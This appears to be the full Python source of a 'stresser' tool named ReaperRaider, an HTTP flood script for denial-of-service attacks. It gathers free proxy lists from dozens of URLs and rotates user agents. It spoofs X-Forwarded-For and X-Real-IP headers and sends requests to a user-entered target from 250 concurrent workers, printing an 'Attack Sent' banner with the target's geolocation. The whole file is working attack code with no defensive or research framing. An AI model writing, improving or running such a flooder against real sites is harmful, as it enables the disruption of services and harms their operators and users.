267 lines
15 KiB
Python
267 lines
15 KiB
Python
import aiohttp
|
|
import asyncio
|
|
import random
|
|
import itertools
|
|
import time
|
|
import re
|
|
import string
|
|
import os
|
|
from colorama import Fore, init
|
|
|
|
init(autoreset=True)
|
|
|
|
def clear_screen():
|
|
os.system('cls' if os.name == 'nt' else 'clear')
|
|
|
|
|
|
user_agents = [
|
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
|
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15",
|
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
|
|
"Mozilla/5.0 (Linux; Android 11; SM-G981B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.210 Mobile Safari/537.36",
|
|
"Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1",
|
|
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36",
|
|
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0",
|
|
"Mozilla/5.0 (iPad; CPU OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/80.0.3987.95 Mobile/15E148 Safari/604.1",
|
|
"Mozilla/5.0 (Linux; Android 10; Pixel 3 XL) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Mobile Safari/537.36",
|
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",
|
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36",
|
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
|
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36",
|
|
"Mozilla/5.0 (Linux; Android 12; SM-G998B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Mobile Safari/537.36",
|
|
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36"
|
|
] + open("user.txt").read().splitlines()
|
|
|
|
proxy_sources = [
|
|
"https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&timeout=10000&country=all&ssl=all&anonymity=all",
|
|
"https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt",
|
|
"https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt",
|
|
"https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/http.txt",
|
|
"https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies.txt",
|
|
"https://raw.githubusercontent.com/mmpx12/proxy-list/master/proxies.txt",
|
|
"https://raw.githubusercontent.com/hendrikbgr/Free-Proxy-List/main/proxies.txt",
|
|
"https://raw.githubusercontent.com/roosterkid/openproxylist/main/HTTPS_RAW.txt",
|
|
"https://raw.githubusercontent.com/B4RC0DE-TM/proxy-list/main/HTTP.txt",
|
|
"https://raw.githubusercontent.com/zevtyardt/proxy-list/main/http.txt",
|
|
"https://raw.githubusercontent.com/rdavydov/proxy-list/main/proxies/http.txt",
|
|
"https://raw.githubusercontent.com/Zaeem20/FREE_PROXIES_LIST/master/http.txt",
|
|
"https://raw.githubusercontent.com/ProxyScraper/ProxyScraper/main/http.txt",
|
|
"https://raw.githubusercontent.com/HyperBeats/proxy-list/main/http.txt",
|
|
"https://raw.githubusercontent.com/userxd001/proxy-list/main/http.txt",
|
|
"https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks4.txt",
|
|
"https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt",
|
|
"https://raw.githubusercontent.com/roosterkid/openproxylist/main/SOCKS4_RAW.txt",
|
|
"https://raw.githubusercontent.com/roosterkid/openproxylist/main/SOCKS5_RAW.txt",
|
|
"https://raw.githubusercontent.com/ProxyScraper/ProxyScraper/main/socks4.txt",
|
|
"https://raw.githubusercontent.com/ProxyScraper/ProxyScraper/main/socks5.txt",
|
|
"https://raw.githubusercontent.com/B4RC0DE-TM/proxy-list/main/SOCKS4.txt",
|
|
"https://raw.githubusercontent.com/B4RC0DE-TM/proxy-list/main/SOCKS5.txt",
|
|
"https://raw.githubusercontent.com/HyperBeats/proxy-list/main/socks4.txt",
|
|
"https://raw.githubusercontent.com/HyperBeats/proxy-list/main/socks5.txt",
|
|
"https://raw.githubusercontent.com/Zaeem20/FREE_PROXIES_LIST/master/socks4.txt",
|
|
"https://raw.githubusercontent.com/Zaeem20/FREE_PROXIES_LIST/master/socks5.txt",
|
|
"https://www.proxy-list.download/api/v1/get?type=http",
|
|
"https://api.proxyscrape.com/?request=displayproxies&protocol=http",
|
|
"https://proxyspace.pro/http.txt",
|
|
"https://multproxy.org/txt_all/proxy.txt",
|
|
"https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/http.txt",
|
|
"https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/https.txt",
|
|
"https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks4.txt",
|
|
"https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks5.txt",
|
|
"https://raw.githubusercontent.com/hookzof/socks5_list/master/proxy.txt",
|
|
"https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/proxies.txt",
|
|
"https://raw.githubusercontent.com/Volodichev/proxy-list/main/http.txt",
|
|
"https://raw.githubusercontent.com/Volodichev/proxy-list/main/socks4.txt",
|
|
"https://raw.githubusercontent.com/Volodichev/proxy-list/main/socks5.txt",
|
|
"https://raw.githubusercontent.com/almroot/proxylist/master/list.txt",
|
|
"https://raw.githubusercontent.com/roetsec/proxy-list/master/http.txt",
|
|
"https://raw.githubusercontent.com/roetsec/proxy-list/master/socks4.txt",
|
|
"https://raw.githubusercontent.com/roetsec/proxy-list/main/socks5.txt",
|
|
"https://raw.githubusercontent.com/MuRongPIG/Proxy-Master/main/http.txt",
|
|
"https://raw.githubusercontent.com/MuRongPIG/Proxy-Master/main/socks4.txt",
|
|
"https://raw.githubusercontent.com/MuRongPIG/Proxy-Master/main/socks5.txt",
|
|
"https://raw.githubusercontent.com/Anonym0usWork1221/Free-Proxies/main/proxy_files/http_proxies.txt",
|
|
"https://raw.githubusercontent.com/Anonym0usWork1221/Free-Proxies/main/proxy_files/https_proxies.txt",
|
|
"https://raw.githubusercontent.com/Anonym0usWork1221/Free-Proxies/main/proxy_files/socks4_proxies.txt",
|
|
"https://raw.githubusercontent.com/Anonym0usWork1221/Free-Proxies/main/proxy_files/socks5_proxies.txt",
|
|
"https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies/all/data.txt",
|
|
"https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies/protocols/http/data.txt",
|
|
"https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies/protocols/socks4/data.txt",
|
|
"https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies/protocols/socks5/data.txt",
|
|
"https://raw.githubusercontent.com/officialputuid/KangProxy/KangProxy/http/http.txt",
|
|
"https://raw.githubusercontent.com/officialputuid/KangProxy/KangProxy/https/https.txt",
|
|
"https://raw.githubusercontent.com/officialputuid/KangProxy/KangProxy/socks4/socks4.txt",
|
|
"https://raw.githubusercontent.com/officialputuid/KangProxy/KangProxy/socks5/socks5.txt",
|
|
"https://raw.githubusercontent.com/ProxyDown/proxy-list/main/http.txt",
|
|
"https://raw.githubusercontent.com/ProxyDown/proxy-list/main/https.txt",
|
|
"https://raw.githubusercontent.com/ProxyDown/proxy-list/main/socks4.txt",
|
|
"https://raw.githubusercontent.com/ProxyDown/proxy-list/main/socks5.txt",
|
|
"https://raw.githubusercontent.com/mertguvencli/http-proxy-list/main/proxy-list/data.txt",
|
|
"https://raw.githubusercontent.com/elliottophellia/yakumo/master/results/http/global/http_checked.txt",
|
|
"https://raw.githubusercontent.com/elliottophellia/yakumo/master/results/https/global/https_checked.txt",
|
|
"https://raw.githubusercontent.com/prxchk/proxy-list/main/http.txt",
|
|
"https://raw.githubusercontent.com/prxchk/proxy-list/main/socks4.txt",
|
|
"https://raw.githubusercontent.com/prxchk/proxy-list/main/socks5.txt"
|
|
]
|
|
|
|
class CliAttacker:
|
|
def __init__(self, target_url, num_requests):
|
|
self.target_url = target_url
|
|
self.num_requests = num_requests
|
|
self.max_concurrent = 250
|
|
self.success_count = 0
|
|
self.fail_count = 0
|
|
self.start_time = None
|
|
self.geo_cache = {}
|
|
|
|
def log(self, message):
|
|
print(f"{message}{Fore.RESET}")
|
|
|
|
async def fetch_ip_addresses(self, url):
|
|
connector = aiohttp.TCPConnector(ssl=False, limit=0)
|
|
timeout = aiohttp.ClientTimeout(total=10)
|
|
async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
|
|
try:
|
|
async with session.get(url) as response:
|
|
text = await response.text()
|
|
return re.findall(r"\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}:\d+\b", text)
|
|
except:
|
|
return []
|
|
|
|
async def get_all_ips(self):
|
|
tasks = [self.fetch_ip_addresses(url) for url in proxy_sources]
|
|
ip_lists = await asyncio.gather(*tasks)
|
|
all_ips = [ip for sublist in ip_lists for ip in sublist]
|
|
if len(all_ips) < 1000:
|
|
all_ips.extend([f"{random.randint(1,255)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(0,255)}" for _ in range(1000)])
|
|
return all_ips
|
|
|
|
async def get_geolocation(self, session, ip):
|
|
clean_ip = ip.split(":")[0]
|
|
if clean_ip in self.geo_cache:
|
|
return self.geo_cache[clean_ip]
|
|
try:
|
|
async with session.get(f"http://ip-api.com/json/{clean_ip}", timeout=2) as resp:
|
|
if resp.status == 200:
|
|
data = await resp.json()
|
|
if data.get("status") == "success":
|
|
info = {
|
|
"region": data.get("regionName", "Unknown"),
|
|
"org": data.get("org", "Unknown"),
|
|
"country": data.get("country", "Unknown")
|
|
}
|
|
self.geo_cache[clean_ip] = info
|
|
return info
|
|
except:
|
|
pass
|
|
fallback = {"region": "Unknown", "org": "Unknown", "country": "Unknown"}
|
|
self.geo_cache[clean_ip] = fallback
|
|
return fallback
|
|
|
|
async def send_request(self, session, ip_address):
|
|
headers = {
|
|
"User-Agent": random.choice(user_agents),
|
|
"X-Forwarded-For": ip_address,
|
|
"X-Real-IP": ip_address,
|
|
"Accept": "*/*",
|
|
"Accept-Language": "en-US,en;q=0.9",
|
|
"Cache-Control": "no-cache",
|
|
"Connection": "keep-alive",
|
|
"Referer": self.target_url,
|
|
"X-Request-ID": ''.join(random.choices(string.ascii_letters + string.digits, k=16))
|
|
}
|
|
try:
|
|
async with session.get(self.target_url, headers=headers, timeout=3) as response:
|
|
self.success_count += 1
|
|
elapsed = time.time() - self.start_time
|
|
rate = self.success_count / elapsed if elapsed > 0 else 0
|
|
self.log(Fore.RED + f"Requests: {self.success_count} | Rate: {rate:.1f}/s | IP: {ip_address}")
|
|
except:
|
|
self.fail_count += 1
|
|
|
|
async def attack_worker(self, session, ip_cycle, worker_id):
|
|
while self.success_count + self.fail_count < self.num_requests:
|
|
await self.send_request(session, next(ip_cycle))
|
|
|
|
async def attack(self):
|
|
self.start_time = time.time()
|
|
self.log(Fore.RED + "Fetching Proxies...")
|
|
|
|
ip_list = await self.get_all_ips()
|
|
if not ip_list:
|
|
ip_list = [f"10.0.{random.randint(0,255)}.{random.randint(0,255)}" for _ in range(2000)]
|
|
|
|
sample_ip = ip_list[0]
|
|
connector_temp = aiohttp.TCPConnector(limit=1, ssl=False)
|
|
async with aiohttp.ClientSession(connector=connector_temp) as temp_session:
|
|
geo = await self.get_geolocation(temp_session, sample_ip)
|
|
|
|
parsed_url = self.target_url.split("://")
|
|
method = parsed_url[0].upper()
|
|
port = "443" if method == "HTTPS" else "80"
|
|
|
|
# Clear the screen right before displaying the attack info and starting requests
|
|
clear_screen()
|
|
|
|
print(Fore.RED + " ")
|
|
print(Fore.RED + " ═╗ ╔═ ")
|
|
print(Fore.RED + " ╚╦════╩══════════════════════════════════════════╩════╦╝")
|
|
print(Fore.RED + " ║ Attack Sent ║")
|
|
print(Fore.RED + " ╔╩════════════════════════════════════════════════════╩╗")
|
|
print(Fore.RED + f" ║ Target: {self.target_url:<43} ║")
|
|
print(Fore.RED + f" ║ Port: {port:<43} ║")
|
|
print(Fore.RED + f" ║ Method: {method.lower():<43} ║")
|
|
print(Fore.RED + f" ║ Region: {geo['region']:<43} ║")
|
|
print(Fore.RED + f" ║ ORG: {geo['org']:<43} ║")
|
|
print(Fore.RED + f" ║ Country: {geo['country']:<43} ║")
|
|
print(Fore.RED + f" ║ Time: {str(self.num_requests):<43} ║")
|
|
print(Fore.RED + " ╚╦════════════════════════════════════════════════════╦╝")
|
|
print(Fore.RED + " ")
|
|
|
|
self.log(Fore.RED + f"Loaded {len(user_agents)} User-Agents")
|
|
self.log(Fore.RED + f"Loaded {len(ip_list)} IPs | Starting attack logs...")
|
|
ip_cycle = itertools.cycle(ip_list)
|
|
|
|
connector = aiohttp.TCPConnector(limit=0, ssl=False)
|
|
async with aiohttp.ClientSession(connector=connector) as session:
|
|
workers = [self.attack_worker(session, ip_cycle, i) for i in range(self.max_concurrent)]
|
|
await asyncio.gather(*workers)
|
|
|
|
elapsed = time.time() - self.start_time
|
|
self.log(Fore.BLUE + f"Attack completed: {self.success_count} success, {self.fail_count} failed in {elapsed:.2f}s")
|
|
|
|
def run(self):
|
|
if os.name == 'nt':
|
|
os.system('title ReaperRaider - Stresser')
|
|
asyncio.run(self.attack())
|
|
|
|
def print_banner():
|
|
banner = """
|
|
_.-^^---....,,--
|
|
_-- --_
|
|
< >)
|
|
| |
|
|
\._ _./
|
|
```--. . , ; .--'''
|
|
| | |
|
|
.-=|| | |=-.
|
|
`-=#$%&%$#=-'
|
|
| ; :|
|
|
_____.,-#%&$@%#&#~,._____
|
|
|
|
|
|
"""
|
|
for line in banner.splitlines():
|
|
print(f"{Fore.RED}{line}{Fore.RESET}")
|
|
|
|
if __name__ == "__main__":
|
|
clear_screen()
|
|
print_banner()
|
|
target_url = input(Fore.RED + "\n Target: ")
|
|
num_requests = int(input(Fore.RED + " Requests: "))
|
|
|
|
if not target_url.startswith(('http://', 'https://')):
|
|
target_url = 'http://' + target_url
|
|
|
|
attacker = CliAttacker(target_url, num_requests)
|
|
attacker.run() |